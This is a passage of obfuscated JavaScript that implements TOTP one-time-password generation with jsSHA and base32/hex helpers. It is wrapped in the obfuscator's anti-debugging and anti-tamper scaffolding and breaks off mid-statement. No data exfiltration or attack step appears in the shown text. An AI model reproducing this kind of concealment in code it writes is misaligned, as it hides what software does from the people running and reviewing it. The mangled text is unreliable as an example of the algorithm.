_0x581b52[_0x3500b7(0x3d0,'1R)L',0xfa,0x305,0x617)](_0x581b52[_0xfe7bb6(0x1300,0x1384,0x1826,'@%1A',0xe78)](_0x2579eb,-0x538+0x1ca7+-0x1*0x1760+0.5)?'0':'',_0x50e1ca[_0x3500b7(-0xe4,'l$qj',0x2e3,-0x8d,0x3a7)](_0x861305)[_0x36580b('e!nd',0xbec,0x8bd,0x85d,0x33e)+_0x3500b7(0xee5,'8S1s',0x8dc,0x49a,0x8c1)](0x19*0x24+-0xa71+0x6fd));}return _0x587e42=!![],_0x581b52[_0xfe7bb6(0xc86,0xf61,0x1178,'CD&c',0xb26)](_0x50adc7,_0x5d81bd);}};}}if(_0xbc652e(0xdeb,'u*kR',0xcc3,0x30c,0x7e0)+_0x59fa80(0xb70,0x3fd,0xd65,0x8ee,'Z3ow')===typeof define&&define[_0x3103a0(0x104d,0xd29,'gVnV',0xced,0xa6a)])define(function(){return jsSHA;});else _0xbc652e(0xde8,'gVnV',0x1595,0x180f,0x1266)+_0xa3fb2b(0x782,0x18b,0xbec,')9bc',0xef1)!==typeof exports?_0xa3fb2b(0xf3,0x67c,0x593,'BHF6',-0x44)+_0x3d77d7(-0x338,0x41,0x425,0x4dc,'Z3ow')!==typeof module&&module[_0x3d77d7(0x9bd,0x2b6,0x815,0x3fc,'R*Tx')+'ts']?module[_0xbc652e(0x124b,'@%1A',0x10e6,0x6f2,0xbe8)+'ts']=exports=jsSHA:exports=jsSHA:global[_0x3d77d7(-0x204,0x2a4,0x2e8,-0x4b3,'8S1s')]=jsSHA;jsSHA[_0x3103a0(0xd2c,0x7a1,'Uq%W',0x33d,0xf6d)+'lt']&&(jsSHA=jsSHA[_0xbc652e(0x4cb,'w]$Z',0xee1,0xdf0,0x782)+'lt']);function totp(_0x1ac500){const _0x1356ea={'zftVx':function(_0x5cd187,_0x21a6ff){return _0x5cd187/_0x21a6ff;},'muwpU':function(_0x268357,_0x5aabd1,_0x45531a,_0x349148){return _0x268357(_0x5aabd1,_0x45531a,_0x349148);},'yXyYV':function(_0x2e9949,_0x103b8e){return _0x2e9949(_0x103b8e);},'fYpmD':function(_0x3dc87b,_0x53945c){return _0x3dc87b/_0x53945c;},'TqDsR':function(_0x21a544,_0x2025d5){return _0x21a544(_0x2025d5);},'zoNeS':function(_0x3dfc60,_0x4aefe9){return _0x3dfc60-_0x4aefe9;},'WILZO':function(_0x1625d0,_0xfe8b54){return _0x1625d0+_0xfe8b54;},'otFge':function(_0x321962,_0x51ce54){return _0x321962&_0x51ce54;},'fFFch':function(_0x26f083,_0x573a2b){return _0x26f083(_0x573a2b);},'aYHkZ':function(_0x3a83e9,_0x373e45){return _0x3a83e9*_0x373e45;},'NyFYQ':function(_0xa0451a,_0x415b76){return _0xa0451a(_0x415b76);},'hqRla':_0x5b6f90('4D%T',0x1867,0x1266,0x181a,0xd4a)+_0xbde238(0x7e7,'l$qj',0xe52,0x8be,0x939),'rpRKD':function(_0x3391d9,_0xf58d6){return _0x3391d9-_0xf58d6;}};function _0x3beda9(_0x2ba743,_0x5d86e5,_0x800780,_0x17b469,_0x256327){return _0xbc652e(_0x2ba743-0x14d,_0x256327,_0x800780-0x74,_0x17b469-0x188,_0x2ba743- -0x46c);}const _0x10590a=-0x1e32+0x130+0x1d20,_0x408bf7=0x2383*0x1+-0x259a+0x21d,_0xff45db=Date[_0x7ad2b4('9loh',0xacb,0x315,0x595,0x731)]();function _0x7ad2b4(_0x5c4608,_0x1a8c76,_0x50f583,_0x4db8b9,_0x404a18){return _0xa3fb2b(_0x50f583- -0x166,_0x1a8c76-0x164,_0x50f583-0x6b,_0x5c4608,_0x404a18-0x1b8);}const _0x199259=Math[_0xbde238(0x28d,'c(Z7',0x2ae,0xbe9,0x693)](_0x1356ea[_0x7ad2b4('C2UU',0x244,0x42a,-0x263,0xdd)](_0xff45db,0x2b*-0x5+-0x1cf1*-0x1+-0x1*0x1832)),_0x42beca=_0x1356ea[_0x5b6f90('Ar]L',0x197,0x59c,0x212,0x24a)](leftpad,_0x1356ea[_0x2af9a1(0x320,0x659,'9r61',0x593,0x998)](dec2hex,Math[_0x2af9a1(0x9f7,0x332,'u*kR',0xa78,0xa89)](_0x1356ea[_0x3beda9(0x188,0x1d0,0x602,0x23,'ibNd')](_0x199259,_0x10590a))),-0xce6+-0xcfc+0x19f2,'0'),_0x170fbd=new jsSHA();_0x170fbd[_0x2af9a1(0x41d,0xbaf,'T&Gd',0x68e,0xa40)+_0x5b6f90('ibNd',0x753,0x56f,0x181,0x1ba)](_0x1356ea[_0x5b6f90(']v1W',0xf4b,0xa9a,0x6b3,0xf62)](base32tohex,_0x1ac500));function _0x2af9a1(_0x38d5d2,_0x81c876,_0x2b3698,_0x5cafc7,_0x15143f){return _0x3d77d7(_0x38d5d2-0xb4,_0x81c876-0x49,_0x15143f-0x262,_0x5cafc7-0x16a,_0x2b3698);}_0x170fbd[_0x3beda9(0x4b1,0x69a,0x136,0x2c3,'C2UU')+'e'](_0x42beca);const _0x4e1206=_0x170fbd[_0x7ad2b4('NagZ',0xea1,0xbfe,0x133d,0xc5b)+'AC'](),_0x337b3e=_0x1356ea[_0x5b6f90('WSri',0x1252,0xbd3,0x7d8,0x6e6)](hex2dec,_0x4e1206[_0x7ad2b4('l$qj',0xca6,0x766,0x7ed,0xeb8)+_0xbde238(0x9a9,'WSri',0x671,0x844,0xb6a)](_0x1356ea[_0x7ad2b4('9loh',0xc4a,0x91c,0x3bf,0x4ef)](_0x4e1206[_0xbde238(0xa29,'edx3',0xe80,0x875,0x6e5)+'h'],-0x35*0x10+0x6af*-0x1+0xa00)));function _0xbde238(_0x303497,_0x2c3653,_0x1cc3f8,_0x438fb7,_0x501325){return _0x3d77d7(_0x303497-0x1de,_0x2c3653-0x80,_0x501325- -0x37b,_0x438fb7-0x1a,_0x2c3653);}let _0x169b21=_0x1356ea[_0x2af9a1(0xf18,0x615,'ibNd',0x876,0x7f9)](_0x1356ea[_0x7ad2b4('w78W',0x35,0x8d,-0xb6,0x4f0)](_0x1356ea[_0xbde238(0x4a4,'ibNd',0x104d,0x2fa,0x9db)](hex2dec,_0x4e1206[_0x7ad2b4('Ar]L',0x1121,0xb33,0x10d3,0x11e8)+'r'](_0x1356ea[_0xbde238(-0x140,'l$qj',-0x1dc,0xa8,-0x74)](_0x337b3e,-0x12e7+-0x37c*-0x1+-0xb*-0x167),-0xf*-0x115+-0x1*0x11de+0x3d*0x7)),_0x1356ea[_0x7ad2b4(')9bc',0x1274,0xeb7,0x845,0x771)](hex2dec,_0x1356ea[_0x7ad2b4('ibNd',-0x380,0xd8,-0x2ef,-0x567)])),'');function _0x5b6f90(_0x5de146,_0x141469,_0x598daf,_0x105192,_0x5761eb){return _0x3103a0(_0x5de146-0x134,_0x598daf-0x140,_0x5de146,_0x105192-0xd4,_0x5761eb-0x78);}return _0x169b21=_0x169b21[_0x2af9a1(0xd76,0xa2e,']v1W',0xc58,0xe47)+'r'](Math[_0x5b6f90('8S1s',0xc52,0x1216,0xe95,0xaf1)](_0x1356ea[_0x2af9a1(0x4b4,0x6c0,'R*Tx',0xc39,0xc06)](_0x169b21[_0x2af9a1(0x130d,0xeb6,'Z3ow',0x721,0xbe2)+'h'],_0x408bf7),-0x140d+-0x63f*0x1+-0x44*-0x63),_0x408bf7),_0x169b21;}function hex2dec(_0x1b62c7){const _0x512fc5={'hnTvU':function(_0x910bd,_0x2aa6d5,_0x576272){return _0x910bd(_0x2aa6d5,_0x576272);}};function _0x227ff9(_0x6da9d5,_0x45af6b,_0x23542f,_0x919506,_0x306ddb){return _0xa3fb2b(_0x306ddb-0x378,_0x45af6b-0x99,_0x23542f-0x6d,_0x45af6b,_0x306ddb-0x24);}return _0x512fc5[_0x227ff9(0x128c,'EiYt',0xc29,0x121f,0xc66)](parseInt,_0x1b62c7,-0x5ae*0x4+-0x939*0x4+-0x4c*-0xc9);}function _0x2771(_0x1cd582,_0x3972ca){const _0x392932=_0x6efc();return _0x2771=function(_0x193957,_0x18f9c7){_0x193957=_0x193957-(-0xb6*0x1b+0x183+0x12e7);let _0x46ab4b=_0x392932[_0x193957];if(_0x2771['EIHqHP']===undefined){var _0xa2218c=function(_0x151a55){const _0x7efc69='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x101367='',_0x2ea97b='',_0x5d7e97=_0x101367+_0xa2218c;for(let _0x58a9b4=0x1*-0xca5+-0x147e+0x2123,_0x4a6381,_0x13343e,_0x1de595=0x26bb+0x24f+-0x1485*0x2;_0x13343e=_0x151a55['charAt'](_0x1de595++);~_0x13343e&&(_0x4a6381=_0x58a9b4%(-0xbe6+0x1709*-0x1+0x22f3)?_0x4a6381*(-0x8aa+-0x2e*0xd1+-0xb9e*-0x4)+_0x13343e:_0x13343e,_0x58a9b4++%(0x1356+-0x6cf+0xc83*-0x1))?_0x101367+=_0x5d7e97['charCodeAt'](_0x1de595+(-0x6fa*-0x4+-0x1f6a+0x1*0x38c))-(-0x1f51+-0x25fc+0x4557)!==-0xd8+-0xae7+0x61*0x1f?String['fromCharCode'](0x1342+-0x6d0+-0xb73&_0x4a6381>>(-(0x265*0xd+0x427*-0x6+-0x635*0x1)*_0x58a9b4&-0x3*-0x54e+0x471*0x1+-0x1455)):_0x58a9b4:0x1faa+0x1*0x1f51+0x17*-0x2bd){_0x13343e=_0x7efc69['indexOf'](_0x13343e);}for(let _0x4983a0=-0x2ee+0x5f5*-0x4+0x1ac2,_0x56a067=_0x101367['length'];_0x4983a0<_0x56a067;_0x4983a0++){_0x2ea97b+='%'+('00'+_0x101367['charCodeAt'](_0x4983a0)['toString'](-0x646+-0x3*-0x941+-0x156d))['slice'](-(-0x213a*-0x1+-0x266a+0x532));}return decodeURIComponent(_0x2ea97b);};const _0x1a8d7d=function(_0x1f56cb,_0x48ae2c){let _0x4bb6ec=[],_0x210d88=-0x3*0x9d5+-0x310+0x208f,_0x17dced,_0x5a0905='';_0x1f56cb=_0xa2218c(_0x1f56cb);let _0x577574;for(_0x577574=-0x11e2+-0x41+0x1223*0x1;_0x577574<-0x10*-0x17d+-0x5*-0x391+-0x28a5*0x1;_0x577574++){_0x4bb6ec[_0x577574]=_0x577574;}for(_0x577574=-0x1*-0xa3d+0xfa6*0x1+0x2f*-0x8d;_0x577574<0x14fb+-0x13d9+-0x22*0x1;_0x577574++){_0x210d88=(_0x210d88+_0x4bb6ec[_0x577574]+_0x48ae2c['charCodeAt'](_0x577574%_0x48ae2c['length']))%(0x628+0xc*-0xa6+0x2*0x150),_0x17dced=_0x4bb6ec[_0x577574],_0x4bb6ec[_0x577574]=_0x4bb6ec[_0x210d88],_0x4bb6ec[_0x210d88]=_0x17dced;}_0x577574=0xaa7+0x1*0x905+0x9d6*-0x2,_0x210d88=0x83e+-0x23de+0x2*0xdd0;for(let _0x4875e5=0x23b*-0x3+0x1916+0x11*-0x115;_0x4875e5<_0x1f56cb['length'];_0x4875e5++){_0x577574=(_0x577574+(-0x5ea+0x33*-0x92+0x2301))%(-0x2*0xf88+0x13ee*0x1+0x1*0xc22),_0x210d88=(_0x210d88+_0x4bb6ec[_0x577574])%(-0x1ceb+0x5*0x58a+0x239),_0x17dced=_0x4bb6ec[_0x577574],_0x4bb6ec[_0x577574]=_0x4bb6ec[_0x210d88],_0x4bb6ec[_0x210d88]=_0x17dced,_0x5a0905+=String['fromCharCode'](_0x1f56cb['charCodeAt'](_0x4875e5)^_0x4bb6ec[(_0x4bb6ec[_0x577574]+_0x4bb6ec[_0x210d88])%(-0xcaf*0x2+-0x2cf*0x5+0x2869)]);}return _0x5a0905;};_0x2771['BTLGPf']=_0x1a8d7d,_0x1cd582=arguments,_0x2771['EIHqHP']=!![];}const _0x125e1f=_0x392932[0x19f1+0x3*0x67b+0x13a*-0x25],_0x50084d=_0x193957+_0x125e1f,_0x7697fc=_0x1cd582[_0x50084d];if(!_0x7697fc){if(_0x2771['uVKics']===undefined){const _0x280b04=function(_0x591dfc){this['VGLfaa']=_0x591dfc,this['mKEPpp']=[0x212f*-0x1+-0x833+0x2963,0x1a33*0x1+-0x1ee2+-0x4af*-0x1,0x27*0xdd+-0x194e+-0x1*0x85d],this['pUqDks']=function(){return'newState';},this['KmFGPS']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['wAHTys']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x280b04['prototype']['ETXWSS']=function(){const _0x59a600=new RegExp(this['KmFGPS']+this['wAHTys']),_0xee2e4e=_0x59a600['test'](this['pUqDks']['toString']())?--this['mKEPpp'][-0x112e*0x1+0x138f+-0x260]:--this['mKEPpp'][0x1*-0x1dc1+0x50b+0x18b6*0x1];return this['sOxswa'](_0xee2e4e);},_0x280b04['prototype']['sOxswa']=function(_0x3c4a09){if(!Boolean(~_0x3c4a09))return _0x3c4a09;return this['XEWpbP'](this['VGLfaa']);},_0x280b04['prototype']['XEWpbP']=function(_0x13c731){for(let _0x229fee=0x1*0xdab+-0xfd9+0x117*0x2,_0x1a75ac=this['mKEPpp']['length'];_0x229fee<_0x1a75ac;_0x229fee++){this['mKEPpp']['push'](Math['round'](Math['random']())),_0x1a75ac=this['mKEPpp']['length'];}return _0x13c731(this['mKEPpp'][0x2*-0xb17+0x1*0xdf5+0x839]);},new _0x280b04(_0x2771)['ETXWSS'](),_0x2771['uVKics']=!![];}_0x46ab4b=_0x2771['BTLGPf'](_0x46ab4b,_0x18f9c7),_0x1cd582[_0x50084d]=_0x46ab4b;}else _0x46ab4b=_0x7697fc;return _0x46ab4b;},_0x2771(_0x1cd582,_0x3972ca);}(function(){function _0xdced69(_0xabecb6,_0x320667,_0x3bf9b8,_0x3aa4dd,_0x4a2b4c){return _0xbc652e(_0xabecb6-0xf1,_0x4a2b4c,_0x3bf9b8-0x53,_0x3aa4dd-0x14d,_0xabecb6- -0x627);}function _0x2688f3(_0x24676d,_0x446b8b,_0x515edd,_0x54a101,_0x51cf7a){return _0x59fa80(_0x24676d-0x12a,_0x446b8b-0x55,_0x515edd-0x59,_0x51cf7a- -0x7b,_0x54a101);}const _0x23fb7b={'chMhU':_0x1a7b81(0x1a9,'iHF0',0x605,0x524,0xa1c)+_0x1a7b81(0x143c,'SI6h',0x13b5,0xecd,0x11d0)+_0x371b53(0x7ad,'e!nd',0x9dd,0x6c3,0x56e)+_0x1a7b81(0xa2e,'^T15',0x595,0x334,0xab6)+_0x2688f3(0x52d,0x695,0x342,'8S1s',0x917)+_0x2688f3(0x621,0x6d0,0x884,'W&[J',0x58c)+_0x371b53(0x857,'8S1s',-0x230,-0x1a8,0x554)+_0xdced69(0x363,0x8be,-0x35d,0x3dc,'9loh')+_0x2688f3(0xda9,0x18ba,0x15fd,'GIg]',0x1331)+_0x2688f3(0xfeb,0x416,0xd92,'EiYt',0xa7c),'wrJjB':function(_0x53f9fb,_0x39829d){return _0x53f9fb!==_0x39829d;},'fAkcH':_0x371b53(0xf66,'BHF6',0x11a6,0x12fb,0x11f0),'HLFSh':_0x371b53(0xde,'c(Z7',0x687,0x1e0,0x774),'LcMQe':function(_0x320069,_0xa7c35c){return _0x320069(_0xa7c35c);},'aNHEx':function(_0x47f001,_0x2a76d9){return _0x47f001+_0x2a76d9;},'IKcFL':_0xdced69(0x52d,-0x119,0x854,0x2bc,'tstx')+_0x2688f3(0xe98,0x120f,0x144b,'R*Tx',0xcf0)+_0x1a7b81(0xa41,'@^Br',0x6e6,0x65b,0x8f3)+_0x572d82(0xdef,0x13ef,'fSRV',0x803,0x11f9),'vqQMZ':_0x1a7b81(0xbaf,'edx3',0x1194,0xe3c,0xccf)+_0xdced69(0xa94,0x111b,0x7ac,0xbdc,'lmEu')+_0x572d82(0xd66,0x63f,'WSri',0xb53,0x11d1)+_0xdced69(0x8a2,0x1004,0x28e,0x87d,'FUWk')+_0x1a7b81(0xd15,'(1pE',0x125e,0xc8c,0x1151)+_0xdced69(-0x164,-0x515,-0x76c,-0x729,'(1pE')+'\x20)','rcbwE':function(_0x1f9915){return _0x1f9915();},'MpxWI':function(_0x13e7f7,_0x1c3b55){return _0x13e7f7===_0x1c3b55;},'FpCxv':_0x572d82(0x4d8,0x8a5,'WJUB',0x11b,0x408)};function _0x1a7b81(_0x1dac98,_0x2b8d4f,_0x40d0a7,_0xd508aa,_0x5e0f70){return _0x3103a0(_0x1dac98-0x114,_0xd508aa- -0x1b9,_0x2b8d4f,_0xd508aa-0x136,_0x5e0f70-0xfd);}function _0x572d82(_0x342292,_0x5782f6,_0x161ce3,_0x364d84,_0x10cb97){return _0xbc652e(_0x342292-0xfa,_0x161ce3,_0x161ce3-0x94,_0x364d84-0xc9,_0x342292- -0x5de);}let _0xc7146e;function _0x371b53(_0x2b5483,_0x5d11c1,_0x14c79b,_0x2f1901,_0x17e6ec){return _0xa3fb2b(_0x17e6ec-0x1c6,_0x5d11c1-0x120,_0x14c79b-0x172,_0x5d11c1,_0x17e6ec-0x44);}try{if(_0x23fb7b[_0xdced69(0x408,0xd1,0x61,0x139,'e!nd')](_0x23fb7b[_0x1a7b81(0x10b8,'R*Tx',0xc61,0xc00,0xe9e)],_0x23fb7b[_0x1a7b81(0x597,'9loh',0x380,0x2a0,-0x12c)])){const _0x5bafe1=_0x23fb7b[_0x1a7b81(0x49d,'3#kp',0xa67,0x32a,-0x36a)](Function,_0x23fb7b[_0x572d82(0x69c,0x69a,'GIg]',0xd0,0x32)](_0x23fb7b[_0xdced69(0x514,0x51f,0x237,0xcd4,'lmEu')](_0x23fb7b[_0x371b53(0xcf2,'Uq%W',0xbbe,0x143b,0xfe3)],_0x23fb7b[_0x2688f3(0x126f,0xb0d,0x1742,']v1W',0x1031)]),');'));_0xc7146e=_0x23fb7b[_0x572d82(0x6af,0xc21,'Ar]L',0xd0a,0xae5)](_0x5bafe1);}else{const _0xdbe644=_0x517d80[_0x371b53(0xbd,'3#kp',0x17e,0x453,0x3d9)](_0x28b966,arguments);return _0x37ef29=null,_0xdbe644;}}catch(_0x19fa82){_0x23fb7b[_0x371b53(0x1427,'tstx',0x1745,0xac9,0x1085)](_0x23fb7b[_0x371b53(0x381,'NagZ',0x8c0,0x18d,0x5cf)],_0x23fb7b[_0x371b53(0x8ab,'lmEu',0x233,0x428,0x940)])?_0xc7146e=window:_0xce1c4f[_0x2688f3(0x12ee,0x97d,0x168f,'Ar]L',0xfd8)](_0x23fb7b[_0x1a7b81(0x860,'CD&c',0x7f6,0x9b3,0x1050)]);}_0xc7146e[_0x572d82(0x691,0x9d0,'fSRV',0x4fb,0x54c)+_0x572d82(0x3b6,0x57c,'Z3ow',0x3ae,0x4c3)+'l'](_0x16adfd,-0x602+-0x107+0x16a9);}());function dec2hex(_0x28f4f0){function _0xa936a8(_0x2e28be,_0x261ac5,_0x218c9d,_0x6c7c21,_0x507a7d){return _0xbc652e(_0x2e28be-0x14a,_0x2e28be,_0x218c9d-0x15c,_0x6c7c21-0x4,_0x507a7d- -0x47);}function _0x52a48f(_0x526d17,_0x48e35a,_0x17928a,_0x464535,_0x58709e){return _0x3d77d7(_0x526d17-0xfa,_0x48e35a-0x11c,_0x17928a- -0xe,_0x464535-0x198,_0x48e35a);}const _0x1be81a={};_0x1be81a[_0x40bb73(-0x14b,0x49f,0x331,'BHF6',-0x269)]=function(_0x2c7744,_0x120e54){return _0x2c7744+_0x120e54;};function _0x5c0f94(_0x270b72,_0x4e9b90,_0x187645,_0x7b37d8,_0x91fdb4){return _0x59fa80(_0x270b72-0xf0,_0x4e9b90-0x25,_0x187645-0xff,_0x7b37d8- -0x340,_0x91fdb4);}_0x1be81a[_0x254a40(0xec5,0x5fa,'yEI6',0x7ac,0xbcc)]=function(_0xcf5b40,_0x59af20){return _0xcf5b40<_0x59af20;};function _0x40bb73(_0x24f023,_0x15349f,_0x4ae23a,_0x3900f6,_0x5cd8a4){return _0x3103a0(_0x24f023-0x1a9,_0x4ae23a-0x11e,_0x3900f6,_0x3900f6-0x102,_0x5cd8a4-0x92);}const _0x38caa8=_0x1be81a;function _0x254a40(_0xad025b,_0xc51e36,_0x7c8992,_0x55565e,_0x2c8b09){return _0x3103a0(_0xad025b-0x8c,_0x2c8b09- -0x116,_0x7c8992,_0x55565e-0xdc,_0x2c8b09-0xc0);}return _0x38caa8[_0x40bb73(0x95a,0x37f,0x980,'^T15',0x281)](_0x38caa8[_0xa936a8('edx3',0x88a,0x783,0x289,0x97b)](_0x28f4f0,0x1271+-0x23*0x74+-0x286+0.5)?'0':'',Math[_0x52a48f(0x1d4,')G&B',0x5ce,0x1fc,0xbfe)](_0x28f4f0)[_0x5c0f94(0x1144,0x168b,0x1418,0xefe,')9bc')+_0x52a48f(0xd5b,'lmEu',0xcf2,0x11ff,0x104f)](-0x2480+0x1*0x1a7f+-0x3*-0x35b));}function base32tohex(_0x241eea){const _0x4ddd16={'cRgQz':function(_0x1e6f81,_0x3acab3){return _0x1e6f81>>>_0x3acab3;},'tBcLL':function(_0x5eabbe,_0x1aa4ca){return _0x5eabbe*_0x1aa4ca;},'DgfJS':function(_0x4eeeac,_0x9cb22f){return _0x4eeeac-_0x9cb22f;},'xLSqe':function(_0x530bff,_0xb1430a){return _0x530bff%_0xb1430a;},'AaVLU':function(_0x50d934,_0x27781b){return _0x50d934+_0x27781b;},'COVIy':function(_0x596822,_0x2bebf0){return _0x596822&_0x2bebf0;},'RmEzt':function(_0x53a48e,_0x2df5b0){return _0x53a48e>>>_0x2df5b0;},'pXDJF':function(_0x5350ab,_0x6b5515){return _0x5350ab&_0x6b5515;},'qXcYI':function(_0x2f6ba9,_0x4da3b1){return _0x2f6ba9^_0x4da3b1;},'oXQJS':function(_0x4f1f88,_0x4794a0){return _0x4f1f88^_0x4794a0;},'oWQzt':_0x4947ae('8S1s',0x106b,0xeb8,0xf9a,0xc28)+_0x1c3a68('Z3ow',0x6aa,0xb53,0x3f6,0xbd1)+_0x1c3a68('5F(N',0x6b1,0xa70,0x157,0x28d)+_0x499e86('ibNd',0x5e4,0x5fe,-0x15a,0xbc9)+_0x499e86('CD&c',0x31a,0xa6d,0x55d,0x74)+_0xb24b47(0x616,'9r61',0x7b2,0x710,0x88c)+'67','aVdUN':function(_0x177a35,_0x390e98){return _0x177a35<_0x390e98;},'wCcBE':function(_0x3a6a10,_0x587d4f){return _0x3a6a10===_0x587d4f;},'sajIr':_0x4947ae('SI6h',0x2ec,0x697,0x1da,0x4fd),'VBBVZ':_0x4947ae('yEI6',0xe6c,0xe24,0xf1b,0xf8d),'GYNRr':_0x1c3a68('iHF0',0xe43,0x76f,0xd78,0x1456)+_0xb24b47(0xf1b,'CD&c',0x8a9,0x30b,0x8dd)+_0x499e86('c(Z7',-0xeb,0x495,0x92,0xbc)+_0xe363a9(')G&B',0x1028,0x11e4,0xa34,0x14c4)+_0x1c3a68('iHF0',0x916,0x14b,0x56e,0xc97)+_0x4947ae(']v1W',0x3f6,0x57f,0x4eb,-0xa)+'y','ELtCV':function(_0xd397ba,_0x46c184,_0x57c25a,_0x12a5bc){return _0xd397ba(_0x46c184,_0x57c25a,_0x12a5bc);},'tLrTo':function(_0xa9a8da,_0xe6e726){return _0xa9a8da<=_0xe6e726;},'IpsYU':function(_0x429e40,_0x86550e){return _0x429e40===_0x86550e;},'cBeOK':_0x1c3a68('u*kR',0x121f,0x1943,0xba5,0x1840),'qWNit':function(_0x4a27c8,_0x310220){return _0x4a27c8+_0x310220;},'lfopH':function(_0x36ba0e,_0x29216c,_0x93ec91,_0x3cef32){return _0x36ba0e(_0x29216c,_0x93ec91,_0x3cef32);},'KTmgT':function(_0x1a0990,_0x5ea63a,_0x5472d2){return _0x1a0990(_0x5ea63a,_0x5472d2);}};let _0xc059d4=_0x4ddd16[_0xe363a9(')G&B',0x1249,0xd2e,0x11ca,0xb3a)],_0x267855='',_0x242711='';function _0xb24b47(_0x577e05,_0x46e17e,_0x564658,_0x16b222,_0x3cecef){return _0xa3fb2b(_0x564658-0x98,_0x46e17e-0x1bd,_0x564658-0xb6,_0x46e17e,_0x3cecef-0x89);}function _0x499e86(_0x43efc3,_0x5bd5bb,_0x51e540,_0x1cf12b,_0x632727){return _0x3d77d7(_0x43efc3-0x199,_0x5bd5bb-0x183,_0x5bd5bb- -0x3a0,_0x1cf12b-0x5b,_0x43efc3);}_0x241eea=_0x241eea[_0xb24b47(0x1045,'@^Br',0xa8e,0xf6b,0xb76)+'ce'](/=+$/,'');function _0x4947ae(_0x2f94b1,_0x36155e,_0x4ff530,_0x338fe4,_0x144901){return _0xa3fb2b(_0x36155e-0xb8,_0x36155e-0x87,_0x4ff530-0x19a,_0x2f94b1,_0x144901-0x1f1);}function _0x1c3a68(_0x38311e,_0x4c69f8,_0x54de1c,_0x3260e0,_0x4b22e0){return _0x59fa80(_0x38311e-0x50,_0x4c69f8-0xdd,_0x54de1c-0xdb,_0x4c69f8- -0x1c6,_0x38311e);}for(let _0x31378c=-0x50*0x75+-0x3*0x72d+0x3a17;_0x4ddd16[_0xe363a9('w78W',0xe6d,0x145c,0x127b,0xcad)](_0x31378c,_0x241eea[_0x4947ae('8S1s',0xbe9,0x134e,0xae5,0x85a)+'h']);_0x31378c++){if(_0x4ddd16[_0xe363a9('@%1A',0x493,0x1d4,0xb06,0x744)](_0x4ddd16[_0x499e86('^T15',0x486,-0xeb,0x445,0x6ee)],_0x4ddd16[_0x499e86('EiYt',0x7eb,0x20f,0x996,0xebc)]))_0x49336d=_0x4ddd16[_0x1c3a68('c(Z7',0x9ea,0x43b,0xc81,0xb59)](_0x220039[_0x4ddd16[_0x499e86('GIg]',0x19d,0x799,0x442,0x77f)](_0x1411cc,0x24d2+0x130b+0x4f*-0xb5)],_0x4ddd16[_0x499e86('kObQ',0x62b,0x1dd,0xe0,0x102)](_0x4ddd16[_0xb24b47(0x140b,'lmEu',0xdb3,0xc3e,0x12be)](-0x105*-0x5+-0x6b8+-0x1*-0x1a2,_0x4ddd16[_0x1c3a68('1MkO',0xff1,0x93c,0x1112,0x925)](_0x5ac728,0x15*-0x1bb+-0x1fa9*0x1+0x4404)),-0x1bc5+-0x3a+-0xaf*-0x29)),_0x5bacb4+=_0x4ddd16[_0xb24b47(0x1132,'u*kR',0xe6c,0x6d9,0xbb6)](_0x12ca3b[_0x4947ae('3#kp',0x8ca,0x923,0x33b,0x7d2)+'t'](_0x4ddd16[_0xb24b47(0x17d0,'edx3',0x100f,0xaaa,0xe6c)](_0x4ddd16[_0xb24b47(0x299,'ibNd',0x6a8,0xe49,0xc0b)](_0x61d043,-0x1*-0x1f0d+0x1*-0xf0d+0x3ff*-0x4),0x1*-0x9ef+0x25*0x38+0x1e6)),_0x401b7d[_0x4947ae('C2UU',0xcec,0xa20,0x12e2,0x10d2)+'t'](_0x4ddd16[_0xe363a9('FUWk',0xbd3,0xeb0,0x1099,0x6c5)](_0x508145,-0x1cb9*-0x1+-0x19a5+-0x305)));else{let _0x13bad7=_0xc059d4[_0x1c3a68('4oaC',0x6e2,0xea8,0xc03,0x401)+'Of'](_0x241eea[_0xe363a9('GIg]',0x83d,0x9da,0x180,0x92a)+'t'](_0x31378c)[_0x499e86('w]$Z',0xb81,0x9e3,0x1309,0xe1c)+_0xe363a9('NagZ',0x90c,0x365,0x1d1,0x87e)+'e']());if(_0x4ddd16[_0x1c3a68('fSRV',0x54d,-0x215,-0x211,0x601)](_0x13bad7,-(-0x1*0x21ff+0x1*-0x6b6+0x2*0x145b)))console[_0xe363a9('Uq%W',0x65c,0x138,0xb14,0x871)](_0x4ddd16[_0x1c3a68('gVnV',0x375,-0x291,0x67b,-0x170)]);_0x267855+=_0x4ddd16[_0x499e86('3#kp',0x70,0x5ee,-0x700,-0x504)](leftpad,_0x13bad7[_0x499e86('T&Gd',0x54,0x40f,-0x6d5,-0x9)+_0x1c3a68(')G&B',0xd90,0x10df,0xaf3,0xaa0)](-0x1*-0x217a+0x1ac1+-0x3c39),-0xc9*0x2d+0x1f8a+-0x4*-0xf4,'0');}}for(let _0x4317bd=0x188b+-0x22be+0xa33;_0x4ddd16[_0x4947ae('Z3ow',0x363,0x81e,0x83e,-0xf7)](_0x4ddd16[_0xb24b47(0x1307,'Ar]L',0xca7,0xe04,0x11bc)](_0x4317bd,-0x31*0x50+0x255*-0xd+0x1*0x2da9),_0x267855[_0xb24b47(0x855,'edx3',0x9c2,0x1127,0xd15)+'h']);_0x4317bd+=-0x5db*0x5+0xb5*-0xd+0x2680){if(_0x4ddd16[_0x499e86('u*kR',0x43f,0xbbd,0x87f,0x2a2)](_0x4ddd16[_0x4947ae('tstx',0xc43,0xa01,0xaff,0xc5a)],_0x4ddd16[_0xb24b47(0x532,'9r61',0x1ee,-0xd9,0x265)])){let _0x33395a=_0x267855[_0xb24b47(0x125d,'@%1A',0x10a5,0xb35,0x1288)+'r'](_0x4317bd,0x200b+0x38f*-0x9+-0x4*-0x1);_0x242711=_0x4ddd16[_0xb24b47(0xa15,')9bc',0x57a,0x786,0xca7)](_0x242711,_0x4ddd16[_0x499e86('tstx',0x43c,0x105,0x263,-0x2d6)](leftpad,_0x4ddd16[_0xe363a9('BHF6',0xddf,0xc23,0xc47,0x15a2)](parseInt,_0x33395a,-0x1c5b*0x1+0x13*0x2b+-0x12*-0x166)[_0x1c3a68('Z3ow',0x9ee,0xc32,0xd56,0x34e)+_0x1c3a68('3#kp',0x1036,0x17aa,0x17fd,0x1253)](-0x13*0x155+-0x6d*-0x9+-0x158a*-0x1),0x1091*0x1+0x1acc+-0x2b5b,'0'));}else 